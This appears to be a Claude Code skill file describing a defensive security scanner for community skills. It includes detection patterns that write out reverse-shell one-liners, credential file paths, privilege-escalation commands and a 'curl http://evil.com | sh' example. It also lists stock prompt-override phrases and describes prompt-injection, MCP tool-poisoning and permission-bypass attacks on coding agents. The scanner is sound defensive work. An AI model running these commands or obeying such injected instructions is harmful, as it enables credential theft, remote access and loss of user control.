| name | skill-security-check |
| description | Security audit for Claude Code community skills. Scans SKILL.md, references/, and scripts/ for prompt injection, data exfiltration, permission bypass, dangerous commands, supply chain risks, backdoor persistence, API endpoint hijacking, namespace squatting, Unicode homoglyph attacks, context window poisoning, and temporal attack patterns. Can be used as a Claude Code skill (agent-based) or as a standalone CLI tool (skill-scanner). Use: /skill-security-check |
| metadata | {"author":"aliks","version":"3.1.1"} |
| risk | low |
| source | community |
Skill Security Check
Comprehensive security audit for Claude Code community skills.
Available in two modes:
- Skill mode: 3 parallel Claude Code agents (no installation required)
- CLI mode:
skill-scanner Python package with YAML/YARA rules, AST analysis, and optional LLM/VirusTotal/AI Defense integration
Trigger
/skill-security-check or "run a security check on my skills"
Target
Default: ~/.claude/skills/ (all installed skills)
If a specific path or skill name is provided, scope to that target only.
Before You Run
Time Estimate
This skill launches 3 parallel agents that deeply analyze every installed skill. Expect:
| Skill count | Approximate time |
|---|
| ~50 skills | 5-10 minutes |
| ~200 skills | 15-25 minutes |
| ~500+ skills | 30-60 minutes |
For faster scanning, use the CLI tool: skill-scanner scan-all ~/.claude/skills/
Permission Confirmations
Each agent performs many Grep/Read/Glob operations. Depending on your permission settings, you may be prompted frequently. For a smoother experience:
- Consider running with permissive read settings (Read/Grep/Glob auto-allow)
- The skill only reads files — it never modifies or deletes anything
- All file access is limited to the target skill directory
No Additional Installations Required (Skill Mode)
The skill mode uses only Claude Code built-in tools (Grep, Glob, Read, Agent). No external CLI tools, no pip packages, no npm modules. It works out of the box.
Want deeper scanning? Install the CLI tool for YAML/YARA rule-based detection, AST analysis, and optional integrations:
pip install skill-scanner
skill-scanner scan-all ~/.claude/skills/ --format markdown -o report.md
CLI Tool: skill-scanner
Note: The CLI tool (skill-scanner) has its own release cycle on PyPI, separate from this skill's version.
Installation
pip install skill-scanner
Analyzers
| Analyzer | Type | Description |
|---|
static_analyzer | Default | Pattern-based detection using YAML + YARA rules |
bytecode_analyzer | Default | Python .pyc integrity verification |
pipeline_analyzer | Default | Command pipeline taint analysis |
behavioral_analyzer | Opt-in | Static dataflow analysis (AST + taint tracking) |
trigger_analyzer | Opt-in | Detects overly generic skill descriptions |
llm_analyzer | Opt-in | Semantic analysis using LLMs as judges |
meta_analyzer | Opt-in | Second-pass LLM false-positive filtering & prioritization |
virustotal_analyzer | Opt-in | Hash-based malware detection via VirusTotal API |
aidefense_analyzer | Opt-in | Cisco AI Defense cloud-based threat detection |
namespace_analyzer | Default | Skill name/author similarity check (Levenshtein distance) for typosquat detection |
size_analyzer | Default | File size anomaly detection for context window poisoning |
temporal_analyzer | Opt-in | Conditional/delayed attack pattern detection via AST analysis |
Detection Rule Packs
Built-in YAML signature packs (core pack):
| Rule File | Coverage |
|---|
prompt_injection | IGNORE/OVERRIDE/system prompt spoofing, tag injection |
data_exfiltration | External HTTP, env var piping, base64 encoding |
command_injection | rm -rf, eval/exec, piped script execution, reverse shells |
hardcoded_secrets | API keys, tokens, passwords in source |
obfuscation | Zero-width characters, steganography, encoding tricks, Unicode homoglyphs |
social_engineering | Authority/urgency/normalization bias patterns |
supply_chain | Missing metadata, author concentration, dynamic fetch |
unauthorized_tool_use | bypassPermissions, permission mode changes, settings manipulation |
resource_abuse | Crypto mining, excessive resource consumption |
api_hijacking | ANTHROPIC_BASE_URL override, proxy injection, DNS/hosts manipulation |
cloud_metadata | IMDS access (169.254.169.254), cloud metadata service token theft |
namespace_abuse | Official namespace squatting, typosquatting, authority prefix abuse |
External Reference: Agent Threat Rules (ATR) — bundled
The semgrep-rules/atr/ directory bundles Agent Threat Rules (ATR) v2.1.2 (MIT-licensed): 338 YAML detection rules across 10 threat categories (prompt-injection / agent-manipulation / skill-compromise / context-exfiltration / tool-poisoning / privilege-escalation / model-abuse / excessive-autonomy / model-security / data-poisoning). ATR rules are bundled with cssc — users do not need to install ATR separately. They serve as a static reference resource for downstream tooling (e.g., the planned atr_analyzer in skill-scanner v3.2.0); they are not evaluated by the skill mode or runtime hooks. See semgrep-rules/atr/README.md for the bundled snapshot details and update procedure, and docs/ATR-MAPPING.md for the ATR-to-cssc category mapping.
Usage Examples
skill-scanner scan ~/.claude/skills/my-skill/
skill-scanner scan-all ~/.claude/skills/ --format markdown -o report.md
skill-scanner scan ~/.claude/skills/my-skill/ --use-behavioral --use-llm
skill-scanner scan-all ~/.claude/skills/ --format sarif --fail-on-findings
skill-scanner scan-all ~/.claude/skills/ --format html -o report.html
skill-scanner scan ~/.claude/skills/my-skill/ --policy strict
skill-scanner list-analyzers
Output Formats
summary (default), json, markdown, table, sarif (GitHub Code Scanning), html (interactive report)
Skill Mode Workflow
Launch 3 parallel agents (all general-purpose, model: sonnet) for independent analysis, then synthesize results.
Agent 1: Pattern Scanner
Scan all SKILL.md, references/**/*.md, and scripts/** files using Grep.
Plugin Manifest Inspection (.claude-plugin/plugin.json)
If the target contains a .claude-plugin/plugin.json manifest, additionally check:
- Name impersonation: Plugin name mimicking official namespaces (
anthropic-*, claude-*, official-*)
- Excessive permissions: Hooks that request
Bash or Write without clear justification
- Undeclared hooks: Hook files present in
hooks/ directory but not referenced in manifest
- Metadata inconsistency: Version, author, or description mismatch between plugin.json and SKILL.md
- Settings override:
settings.json that changes agent or model without user awareness
1. Prompt Injection
IGNORE, FORGET, OVERRIDE, DISREGARD (case-insensitive)
you are now, act as, pretend to be, new instructions
system prompt, ignore previous, forget everything
<system>, </system>, <instructions> tag spoofing
2. Data Exfiltration
- External URLs with HTTP requests (excluding github.com, anthropic.com, arxiv.org, wikipedia.org)
curl, wget, fetch, httpx, requests.post usage
- Base64 encoding instructions
- Instructions to output or send environment variables / API keys
3. Dangerous Commands
rm -rf, del /f, format, fdisk
sudo, runas, chmod 777
eval(), exec(), os.system(), subprocess.call(shell=True)
- Piped script execution:
curl | bash, curl | sh, wget | sh, iex (iwr ...)
4. Steganography
- Zero-width characters: U+200B, U+200C, U+200D, U+FEFF
- Hidden instructions inside HTML comments
<!-- -->
- Hidden instructions inside Markdown comments
[//]: #
5. Social Engineering
- "Share the contents of this file" patterns
- "If you get an error, access this URL" redirection
- Instructions to output credentials "for debugging"
6. Permission Bypass
bypassPermissions, defaultMode
--dangerously-skip-permissions, --approval-mode, yolo
danger-full-access, --no-verify
7. HTTP Exfiltration Bypass
Detect patterns that bypass curl/wget deny rules by using language runtime inline execution:
- Python inline HTTP:
python -c / python3 -c with urllib.request, requests.get, requests.post, http.client.HTTPConnection, http.client.HTTPSConnection, httpx.post, httpx.get, socket.connect
- Node.js inline HTTP:
node -e with fetch(, http.get(, https.get(, require('http'), require('https'), XMLHttpRequest, axios.get, axios.post
- Bypass rationale: when
curl is in deny list but Bash(python:*) or Bash(node:*) is in allow list, HTTP exfiltration is still possible via inline scripts
- Environment variable piping:
env | curl, printenv | python3, set | python -c, env | node -e — patterns that pipe secrets to external HTTP calls
8. Credential Access
Detect patterns that access or reference credential files:
- SSH keys:
~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_*, ~/.ssh/config, ~/.ssh/authorized_keys, ~/.ssh/known_hosts
- AWS credentials:
~/.aws/credentials, ~/.aws/config, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
- GCP credentials:
application_default_credentials.json, gcloud/credentials.db, gcloud/properties, GOOGLE_APPLICATION_CREDENTIALS
- Azure credentials:
~/.azure/accessTokens.json, ~/.azure/azureProfile.json, AZURE_CLIENT_SECRET, AZURE_TENANT_ID
- Encoding obfuscation:
base64 encoding/decoding of credential content, xxd hex dump of key files — patterns that obscure credential theft
9. Reverse Shell
Detect reverse shell patterns that establish remote command execution:
- Bash:
bash -i >& /dev/tcp/, bash -c 'exec bash -i &>/dev/tcp/'
- Netcat:
nc -e /bin/bash, nc -e /bin/sh, ncat -e, nc.traditional -e
- Python:
python -c 'import socket,subprocess,os;s=socket.socket(...)', pty.spawn
- Ruby:
ruby -rsocket -e, TCPSocket.open
- Perl:
perl -e 'use Socket;', perl -MIO::Socket
- PowerShell:
New-Object System.Net.Sockets.TCPClient, Invoke-Expression, IEX(New-Object Net.WebClient)
10. Backdoor Persistence
Detect patterns that establish persistent unauthorized access:
- SSH backdoor:
echo "ssh-rsa" >> ~/.ssh/authorized_keys, public key injection into authorized_keys
- Cron backdoor:
echo "* * * * *" >> /etc/crontab, /var/spool/cron/, crontab backdoor scripts
- Cloud backdoor:
aws iam create-access-key, az ad sp create, backdoor service principal creation, IAM user/key creation for persistence
- Systemd persistence:
systemctl enable, .service file creation in /etc/systemd/
- Startup persistence:
.bashrc / .profile / .zshrc injection, Windows Run key / Scheduled Task creation
11. Privilege Escalation via System Utilities
Detect GTFOBins/LOLBAS-style privilege escalation patterns:
- find -exec:
sudo find . -exec /bin/sh \;, find -exec /bin/bash
- vim/vi escape:
sudo vim -c ':!/bin/bash'
- awk/nawk:
sudo awk 'BEGIN {system("/bin/bash")}'
- tar extraction:
tar -cvf key.tar /root/.ssh/id_rsa — extracting sensitive files via archive
- SUID exploitation:
find / -perm -4000, SUID binary enumeration and abuse
- shadow file access:
base64 /etc/shadow, credential dump via encoding
12. API Endpoint Hijacking
Detect patterns that redirect Claude API calls to attacker-controlled servers:
- Environment variable override:
ANTHROPIC_BASE_URL, ANTHROPIC_API_BASE, OPENAI_BASE_URL, api_base=, base_url= — overriding API endpoints to intercept all conversations and API keys
- SDK configuration:
Anthropic(base_url=, OpenAI(base_url=, httpx.Client(base_url= — programmatic API endpoint redirection
- Proxy injection:
HTTP_PROXY, HTTPS_PROXY, ALL_PROXY, http_proxy=, https_proxy= — man-in-the-middle via proxy configuration
- DNS/hosts manipulation:
/etc/hosts, C:\Windows\System32\drivers\etc\hosts modification to redirect api.anthropic.com
- Attack scenario: attacker sets
ANTHROPIC_BASE_URL to their server → all API calls (including API key in headers) are forwarded → full conversation and credential theft
13. Namespace Squatting / Typosquatting
Detect skills that impersonate official or well-known sources:
- Official namespace abuse: skill name or
metadata.author containing anthropic, anthropics, claude-official, official-claude, openai when source: community
- Typosquatting: Levenshtein distance ≤ 2 from known official skill names or popular community skill names
- Authority prefix abuse:
verified-, official-, trusted-, certified- prefixes in skill names
- Brand impersonation in descriptions: descriptions claiming "official", "endorsed by Anthropic", "recommended by Claude" without verifiable source
- Context: the anthropics/skills#492 namespace discussion showed that
anthropic/ prefix in skill naming can mislead users into trusting unverified skills
14. Unicode Homoglyph & Encoding Attacks
Detect visual deception beyond zero-width characters:
- Cyrillic/Greek homoglyphs in URLs and paths:
а (U+0430) vs a (U+0061), о (U+043E) vs o (U+006F), е (U+0435) vs e (U+0065) — visually identical characters in different Unicode blocks that make malicious URLs appear legitimate
- Bidirectional override: U+202E (Right-to-Left Override), U+202D (Left-to-Right Override), U+2066-U+2069 (isolate controls) — can reverse displayed text to hide true file extensions or command structure
- Confusable domain names: IDN homograph attacks in URLs (e.g.,
аnthropic.com with Cyrillic а)
- Encoded payloads:
\x, \u, %xx sequences that decode to dangerous commands at runtime
15. Context Window Poisoning
Detect attempts to overflow the context window to push out safety instructions:
- Abnormally large reference files:
references/ files exceeding 50KB — legitimate documentation rarely needs this much content; oversized files may be designed to consume context budget and push out CLAUDE.md safety rules
- Repetitive filler text: large blocks of repeated or near-identical text (entropy analysis) that serve no informational purpose
- Instruction dilution: patterns where large volumes of benign-looking text surround a small malicious payload, reducing the likelihood of detection by both humans and LLMs
- Multi-file bloat: skills with 20+ reference files that collectively exceed reasonable documentation needs
16. XOR/Dynamic Encoding Obfuscation
Detect static analysis evasion techniques used in campaigns such as ClawHavoc:
xor, ^=, bytes([a ^ b for — XOR operations for payload reconstruction
chr(ord( / String.fromCharCode — dynamic string assembly from character codes
eval(bytes(, exec(bytes( — dynamic code execution from byte sequences
- Base85 (
b85decode) / Base32 (b32decode) — uncommon encodings (non-Base64)
compile(, marshal.loads( — dynamic loading of Python bytecode
17. Agent-to-Agent Infection & Lateral Movement
Detect P2P infection exploiting automated collaboration features:
skill install, skill add — instructions to auto-install other skills
collaborate with, invoke agent, spawn agent — automated inter-agent invocation
- Instructions to auto-deploy to other environments ("install this in all your projects", etc.)
spread, propagate, replicate — patterns suggesting self-replication
18. Silent Codebase Exfiltration via DoD Manipulation
Detect Definition of Done manipulation to justify sending out entire codebases:
do not commit until all tasks complete — delaying commits to wait for exfiltration completion
read all files in, aggregate codebase, collect all source — bulk codebase reading
find . -name "*.py" -exec cat, find . -type f — recursive file collection
backup, archive, snapshot combined with external URL transmission
19. MCP Tool Redefinition Attack
Detect tool shadowing when multiple MCP servers run in the same environment:
- Definitions of
tool_name / function_name identical to existing tools
override, replace, shadow combined with tool definitions
- Instructions for dynamic modification of MCP server settings
20. API Budget Drain (DoS)
Detect intentional token consumption as an API cost attack:
think step by step in extreme detail about every possible — excessive thinking induction
- Instructions for infinite loops or recursive self-reference
- Injecting massive context (instructing unnecessary reading of large numbers of files)
repeat, enumerate all, list every possible — exhaustive enumeration instructions
21. Auto Mode Exploitation
Detect exploitation of autonomous permission decision weaknesses:
this will be automatically approved — spoofing automatic approval
no confirmation needed, skip approval — instructions to skip approval
- Procedures written assuming Auto Mode will execute dangerous operations without human confirmation
22. Multi-Turn Grooming
Detect gradual privilege escalation across multiple sessions:
Phase 1: setup, Phase 2: configure, Phase 3: deploy — phased escalation
- Patterns where first invocation is benign, subsequent invocations execute dangerous operations
if first_run, if returning_user — branching based on invocation count
- Trust building followed by privilege escalation (showing safe operations first, then the actual payload)
23. Tool Override / Shadow Attack
スキルが既存ツールの定義を上書き・シャドウイングするパターン:
override, replace, redefine, shadow + ツール名(Read, Write, Edit, Bash等)
- ツール定義の再宣言(
"name": "Read" 等をplugin.jsonやスキル内で再定義)
allowed-tools を操作して制限を緩和する指示
- フック定義で既存フックを無効化する指示(
"hooks": []で上書き)
24. Whiteboard / Memory Injection
共有ファイル(whiteboard, MEMORY.md, CLAUDE.md等)への命令注入:
Write or Edit で whiteboard/*.md, MEMORY.md, CLAUDE.md に書き込む指示
- 「以下をCLAUDE.mdに追加してください」等の間接的改変指示
- handoff データに命令テキストを埋め込むパターン
- 「次のセッションで」「今後は常に」等の永続化を意図する指示
25. Agent Spawn & Self-Replication
自己複製・伝播・自律増殖パターン:
Agent, TeamCreate, spawn, replicate, propagate + 自動実行指示
- 他プロジェクトの
.claude/ ディレクトリへの書き込み指示
npm install, pip install で別のスキルを自動インストール
- 自分自身のコピーを別の場所に配置する指示
26. MCP Elicitation Abuse
MCP Elicitation/ElicitationResult経由の権限昇格:
- ElicitationResult で CLI コマンド実行を要求するパターン
- Elicitation のUI要素(ボタン、フォーム)にコマンドを埋め込み
- 「確認」を装ってユーザーに危険な操作を承認させる
- Elicitation経由でAPIキーや認証情報を収集するパターン
27. LLM Sampling Injection Markers
MCPレスポンスに埋め込まれたLLMトークナイザマーカー(Unit42報告):
[INST], [/INST] — Llama/Mistral instruction marker
<<SYS>>, <</SYS>> — Llama system prompt marker
<|im_start|>system, <|im_end|> — ChatML system marker
<|system|>, <|user|>, <|assistant|> — Phi marker
<start_of_turn>user, <start_of_turn>model — Gemini turn marker
<|endoftext|> — OpenAI end-of-text marker
[SYSTEM_PROMPT] — Generic system prompt marker
Human:, Assistant: at line start — Anthropic conversation marker
28. Log-To-Leak (ログ経由データ窃取)
ツールレスポンスが別ツールへのデータ送信を指示するパターン(OpenReview報告):
send/post/forward this data to — データ送信指示
call/invoke the logging/analytics/telemetry tool — loggingツール呼び出し指示
write/append this data to a log/file/endpoint — ログ書き込み指示
- 正規のログ出力と区別するため、「指示形式(動詞+対象+宛先)」の3要素を確認
29. Line Jumping (承認前動作注入)
ユーザー承認前に動作を実行させるパターン:
before the user approves/confirms/reviews — 承認前実行指示
execute/run without asking/confirmation/approval — 確認なし実行
silently/quietly/secretly execute/run/install — 隠密実行
skip/bypass the confirmation/approval step — 承認バイパス
auto_approve, auto_execute, auto_confirm — 自動承認パターン
30. Package Manager Lifecycle Scripts (パッケージマネージャ lifecycle scripts)
サプライチェーン攻撃のベクトルとなるlifecycleスクリプト(ToxicSkills/ClawHavocキャンペーン主要手法):
postinstall, preinstall, install in package.json scripts セクション — npm install時に自動実行されるスクリプト
setup.py の cmdclass — pip install時に実行されるカスタムコマンド
setup(install_requires=...) + subprocess — インストール時の外部コマンド実行
pip install + --pre or --index-url / --extra-index-url — カスタムインデックスからの危険なパッケージ取得
- 除外:
node-gyp rebuild 等の正規ビルドスクリプトは文脈で判断
31. .git/hooks/ 直接書き込み (Git Hook Injection)
gitフックへの不正書き込み(CVE-2025-59536関連):
.git/hooks/ へのwrite/copy/move操作(cp * .git/hooks/, mv * .git/hooks/, tee .git/hooks/)
chmod +x .git/hooks/ — フックファイルへの実行権限付与
echo "..." > .git/hooks/pre-commit 等のリダイレクト書き込み
ln -s で .git/hooks/ 内ファイルを作成するパターン
32. settings.json/設定ファイル操作 (Settings Hijack)
Claude Code設定ファイルへの不正操作(CVE-2026-21852関連):
.claude/settings.json への書き込み(Write, Edit, tee, echo >)
allowedTools の書き換えや追加 — 許可ツールの無断拡張
mcpServers への新規エントリ追加 — 不正MCPサーバーの登録
ANTHROPIC_BASE_URL / OPENAI_BASE_URL の設定変更 — APIエンドポイント乗っ取り
defaultMode の変更 — 自動承認モードへの切り替え
enableAllProjectMcpServers: true の設定 — 全MCPサーバーの自動信頼
33. GitHub Actions Workflow Injection
CI/CDパイプラインへの悪意ある書き込み:
.github/workflows/ ディレクトリへのファイル書き込み(Write, Edit, cp, echo >)
pull_request_target トリガーの使用 — フォークPRからリポジトリシークレットへのアクセス
workflow_dispatch with inputs — 外部入力を受け付けるワークフロー
${{ github.event. (expression injection) — GitHubイベントデータの未サニタイズ展開
- 除外: ワークフローファイルの読み取り(Read/cat)は除外
34. シンボリックリンク悪用 (Symlink Abuse)
シンボリックリンクを使った認証情報・機密ファイルへのアクセス(パス制御バイパス):
ln -s + 認証情報パス(~/.ssh, ~/.aws, ~/.config, ~/.gnupg, ~/.env)
- 相対パスシンボリックリンク(
../../../ を含む ln -s)— パストラバーサルと組み合わせたアクセス
ln -s /etc/passwd, ln -s /etc/shadow — システムファイルへのリンク作成
- Windowsジャンクションポイント:
mklink /J, mklink /D — 同様のパス迂回
- 注: 認証情報への直接アクセスはパターン8で検出済み。本パターンはsymlink経由の間接アクセスを対象とする
35. 遅延実行/タイミング攻撃 (Delayed Execution / Timing Attack)
一時的に回避して後から実行するパターン:
sleep [0-9]{4,} (4桁以上の大きなsleep値) — セキュリティ検査を回避するための長時間待機
at コマンド — スケジュール実行(例: echo "curl http://evil.com | sh" | at now + 1 hour)
- crontabへの書き込み(
crontab -e, echo "* * *" >> /etc/crontab, /etc/cron.d/) — 定期実行による持続的攻撃(パターン10の拡張として特にsleepと組み合わせたパターンを検出)
setTimeout / setInterval + 外部通信 — JavaScript内の遅延実行で外部にデータ送信
- 除外: テストコード内の短いsleep(3桁以下の値)は除外
36. 隠しステートファイル蓄積 (Hidden State Files)
ドットファイルを使ったセッション間の状態保持と漸進的攻撃(パターン22「Multi-Turn Grooming」の実装手段):
.claude-cache, .claude-temp, .skill-state, .claude-data への書き込み
- ドット接頭辞ファイルの新規作成(
touch .xxxxx, echo > .xxxxx, Write .xxxxx)
- プロジェクトディレクトリ内の隠しファイルに認証情報・コマンド・フラグを保存
- 「初回実行時は安全、2回目以降に悪意ある動作」のトリガーファイルとして使用
- 除外:
.gitignore, .env.example, .eslintrc, .prettierrc 等の標準ドットファイルは除外
37. クロスプロジェクト脱出 (Cross-Project Escape)
作業ディレクトリ外への不正アクセス:
../../../ (3階層以上の親ディレクトリ参照) — ワークスペース外へのパス脱出
/tmp/, /etc/, /var/, C:\Windows\, C:\Users\ 等のシステムパスへの書き込み
- 他プロジェクトの
.claude/ ディレクトリへのアクセス(~/.claude/ 含む)
~/.config/, ~/Library/, %APPDATA%\ 等のユーザー設定ディレクトリへの書き込み
- 注: out-of-directoryパターンと重複する場合があるが、3階層以上の相対パスと絶対システムパスへの書き込みを明示的に検出する
Report ALL hits (including false positives). Classification is done in the synthesis phase.
Agent 2: Red Team Analyst
Analyze skills from an attacker's perspective. Read SKILL.md and referenced files, then evaluate:
Attack Vectors
-
Prompt Injection — subtle manipulation hidden in natural language (not just keyword matches). Watch for gradual escalation: "legitimate test setup" that transitions step-by-step into backdoor installation
-
Indirect Prompt Injection — malicious instructions embedded in references/ files that Claude would follow as high-trust instructions. Pay special attention to references/ directories containing executable scripts or imperative commands disguised as documentation
-
Data Theft — paths to steal environment variables, .env, API keys, SSH keys, cloud credentials. Include indirect paths: IMDS/instance metadata access, output-to-clipboard-to-paste chains
-
Cross-Skill Privilege Escalation Chains — Skill A enables reconnaissance → Skill B exploits findings → Skill C establishes persistence. Evaluate whether skills that are individually "safe" become dangerous when combined in sequence
-
Trust Boundary Abuse — leveraging trust in well-known brands/companies to reduce user vigilance. Watch for authoritative naming (e.g., "Ethical Hacking Methodology") that may cause users to over-trust dangerous procedures
-
MCP Tool Poisoning — malicious instructions embedded in MCP tool descriptions that override agent behavior. Includes hidden directives in tool description fields, tool update supply chain attacks (legitimate tool replaced with malicious version), and exploitation of MCP server trust boundaries. Reference CVEs: CVE-2025-6514 (mcp-remote SSRF/RCE via malicious MCP server), CVE-2026-21852 (API key theft via poisoned MCP tool description)
-
Settings.json Manipulation — skills that modify Claude Code configuration to weaken security posture. Includes auto-enabling enableAllProjectMcpServers: true, injecting wildcard allow patterns (e.g., Bash(* --version) enabling arbitrary command execution), and exploiting Bash(python:*) / Bash(node:*) allow rules to bypass curl/wget deny lists
-
Clipboard & Output Exfiltration Chain — indirect data theft via clipboard (pbcopy, xclip, xsel, clip.exe, Set-Clipboard) or by embedding sensitive data in normal-looking output that users unknowingly copy-paste to external services. Evaluate multi-step chains: skill reads credential → formats as "debug output" → user copies to issue tracker
-
Cloud Metadata / IMDS Access — access to instance metadata services (169.254.169.254, metadata.google.internal, 169.254.170.2 for ECS task metadata, metadata.azure.com) to steal IAM role credentials, service account tokens, or instance identity. Particularly dangerous in cloud-hosted development environments (Codespaces, Cloud9, EC2)
-
Symlink & Path Traversal — creating symbolic links to sensitive files (ln -s ~/.ssh/id_rsa ./data.txt) to bypass path-based access controls, or using ../ traversal to escape project directories. Includes hard links, junction points (Windows), and relative path abuse in tar/zip extraction
-
DoD Manipulation for Silent Exfiltration — skills that define Definition of Done in a way that instructs the agent to send out the entire codebase voluntarily — e.g., "do not commit changes until all tasks are complete" delays commits while exfiltration completes. Confirmed in real-world environments by Mitiga research
-
MCP Tool Redefinition / Shadowing — a malicious MCP server provides an implementation with the same name as a legitimate tool, intercepting data. Succeeds through identifier collision alone and is difficult to detect
-
API Budget Drain Attack — intentionally induces overthinking to explode API token consumption, functioning as a DoS-style attack
-
Plugin manifest poisoning: Legitimate-looking plugin.json that installs malicious hooks or overrides settings
-
Namespace squatting via plugins: Registering plugin names that mimic popular tools
-
Hook chain injection: Plugin hooks that inject additional hooks at install time
Focus Areas
- Skills that modify Claude Code settings or permissions
- Skills that reference
~/.ssh, ~/.aws, ~/.config, ~/.env
- Skills with
risk: unknown or no risk field
- Single authors with many security/attack-oriented skills (supply chain concentration risk)
- External URLs that receive data (especially non-standard domains)
references/ directories with imperative scripts or multi-step attack procedures
Agent 3: Deep Analyzer
Perform six analysis roles in a single agent:
Role A: Supply Chain Analysis
- Metadata completeness audit: check every SKILL.md frontmatter for
name, description, metadata.author, source, and risk fields. Report the percentage of skills missing author/source information (skills without provenance are higher risk)
- Author trust tier classification:
| Tier | Criteria | Risk Level |
|---|
| A | Anthropic official, major company official repos | Lowest |
| B | Well-known OSS developers, verified community with GitHub presence | Low |
| C | Individual developers, company names, licensed repos | Medium |
| D | Individual developers with few repos/stars | Medium-High |
| F | No author/source info, untraceable origin | Highest |
- Inventory all executable files:
.sh, .py, .js, .bat, .ps1
- Count
subprocess, os.system, shell=True usage in scripts
- Count HTTP client usage (
requests, httpx, urllib, fetch, curl)
- Count
eval() / exec() usage
- Detect dynamic external fetch instructions
- Author concentration analysis: cluster skills by author — flag single authors with 10+ skills (single point of compromise risk)
Role B: Cognitive Manipulation Analysis
- Authority bias: "As an expert..." leading to dangerous operations
- Normalization bias: "By default..." for non-default dangerous behaviors
- Urgency bias: "Without waiting for confirmation..." bypassing user approval
- Scope creep: "For debugging..." expanding to full environment variable dumps
- Implicit privilege escalation: natural-sounding guidance toward sudo/runas
- Step-by-step normalization: procedures that start with safe actions and gradually escalate to dangerous ones, lowering the user's psychological barrier at each step
Role C: Privacy Audit
- Environment variable / credential reference patterns (full count)
- Sensitive directory access:
~/.ssh, ~/.aws, ~/.config, ~/.gnupg, ~/.env
- Output destination analysis: writes outside project directory, external transmission
- Claude settings modification:
bypassPermissions, permission mode changes
Role D: Settings & Hook Audit
Analyze Claude Code configuration files for security misconfigurations:
- Permission patterns: audit
permissions.allow and permissions.deny arrays in settings.json — flag overly broad allow patterns (wildcards, Bash(python:*), Bash(node:*), Bash(ruby:*), Bash(perl:*), Bash(npm:*)) and missing deny entries for dangerous commands
- Allowlist escape chains: systematically check all runtime allow patterns that enable HTTP exfiltration bypass —
Bash(python:*) → python -c "import urllib...", Bash(node:*) → node -e "fetch(...)", Bash(npm:*) → npm exec arbitrary code execution, Bash(npx:*) → npx package fetch and execute
- Hook definitions: examine PreToolUse and PostToolUse hook definitions for safety — flag hooks that execute arbitrary Bash commands, hooks that modify files outside project scope, and hooks that disable other security controls
- MCP server settings: check for
enableAllProjectMcpServers: true which auto-trusts all project-level MCP servers without user confirmation
- Hook command safety: analyze Bash commands within hook definitions for dangerous patterns (data exfiltration, privilege escalation, credential access) — hooks run automatically and bypass normal approval flows
- API endpoint integrity: check for
ANTHROPIC_BASE_URL or proxy environment variable overrides in hook commands or skill instructions that redirect API traffic
allowed-tools Audit
- Check all SKILL.md files for
allowed-tools frontmatter
- Missing allowed-tools on skills that use Bash or Write → High risk (unrestricted tool access)
- Missing allowed-tools on other skills → Medium risk (recommend explicit declaration)
- Verify declared allowed-tools match actual tool usage in skill instructions
- Flag skills that request
Bash + Write + Edit together (maximum attack surface)
Role E: Skill Interconnection Risk
Analyze how skills could be combined to create attack chains:
- Map skills that provide reconnaissance capabilities (port scanning, service enumeration, OSINT)
- Map skills that provide exploitation capabilities (vulnerability exploitation, payload generation)
- Map skills that provide persistence capabilities (backdoor creation, credential harvesting)
- Flag any recon → exploit → persist chains that could be executed in a single session
- Check if high-risk skills properly require user confirmation at each escalation step
Role F: Temporal Attack Analysis
Detect time-delayed or conditional attack patterns that evade single-scan detection:
- Conditional triggers: code that checks for specific conditions before executing malicious payloads —
if os.path.exists(".claude/settings.json") (only activates in Claude Code environment), date-based triggers (datetime.now() > datetime(2026, ...)) , environment detection (if "CODESPACE" in os.environ)
- Progressive escalation over sessions: first invocation is benign (builds trust), subsequent invocations gradually escalate — writing a config file on first run, reading it on second run to determine "returning user" and enabling dangerous features
- Delayed payload delivery: instructions that reference external URLs for "updates" or "latest version" — the URL content can change after initial review to deliver malicious payloads
- State file manipulation: skills that create dot-files (
.skill-cache, .skill-config) in project directories and change behavior based on their contents — benign on first run, escalating on subsequent runs
Role G: Auto Mode Risk Analysis
Analyze risks specific to Claude Code Auto Mode (research preview as of 2026-03):
- Auto Mode-assumed operation instructions: descriptions stating "no confirmation required" or "this will be automatically approved", assuming Auto Mode will execute dangerous operations without human review
- Attacks that only succeed in Auto Mode: patterns designed to bypass human approval — evaluate whether the attack would fail if a human were in the loop
- Exploitation of areas Anthropic itself acknowledges as incompletely protected: deliberate abuse of known limitations, such as indirect prompt injection via external data sources, trust boundary confusion between skill instructions and MCP responses, and operations that are individually safe but dangerous in sequence
Synthesis (Main Agent)
After all 3 agents report, classify every finding:
| Verdict | Criteria | Action |
|---|
| DELETE | Sends credentials to unofficial external servers / auto-enables bypassPermissions / confirmed prompt injection | Remove immediately |
| ACTION REQUIRED | shell=True with user input / plaintext credential storage / recursive .env search in parent dirs / piped shell execution / backdoor persistence instructions without risk:high / XOR/dynamic encoding obfuscation / agent-to-agent auto-install instructions | Fix or establish operational rules |
| CAUTION | External API dependency (API key required) / educational attack patterns / cognitive manipulation false positives / high-risk skills properly marked with risk:high / Auto Mode-assumed operation instructions (harmless in non-Auto Mode environments) | Note for awareness |
| CLEAN | No issues found | No action needed |
Output Format
Produce a report with:
- Summary table: verdict counts (DELETE / ACTION REQUIRED / CAUTION / CLEAN)
- Supply chain overview: metadata completeness rate, author tier distribution, author concentration flags
- CRITICAL section: skills to delete, with file paths, code snippets, and attack scenarios
- HIGH section: skills requiring fixes, with specific remediation steps
- MEDIUM section: caution items for awareness
- CLEAN section: confirmation of what was checked and found safe
- Statistics: total skills scanned, files checked, hits per category, true/false positive breakdown
Key Principles
- Zero tolerance for
bypassPermissions auto-configuration outside containers
- Zero tolerance for data exfiltration to unknown external endpoints
- Context matters:
curl | bash in a pentest skill's documentation (describing attack methods) is different from a setup script that actually runs it
- Author clustering: a single author providing many attack-oriented skills with
risk: unknown is a supply chain risk signal
- False positive awareness: prompt injection keywords in security education content are expected — flag but don't auto-classify as threats
- Metadata absence is a signal: skills with no author, no source, and no risk field deserve closer scrutiny regardless of content
Runtime Defense: MCP Response Inspector Hook
In addition to static analysis, this project includes a runtime PostToolUse hook that inspects MCP tool responses in real-time.
See hooks/README.md for installation and details.
Why runtime matters: Static analysis catches malicious patterns in skill files before execution. But MCP server responses arrive at runtime — the same structural vulnerability as cloned OSS backdoors where AI follows existing patterns including malicious ones. Without runtime inspection, injected instructions in MCP responses are treated as trusted data.
| Layer | Tool | When |
|---|
| Static | skill-scanner / Skill mode agents | Before execution (skill audit) |
| Static | Community threat intel | Before execution (latest attack patterns) |
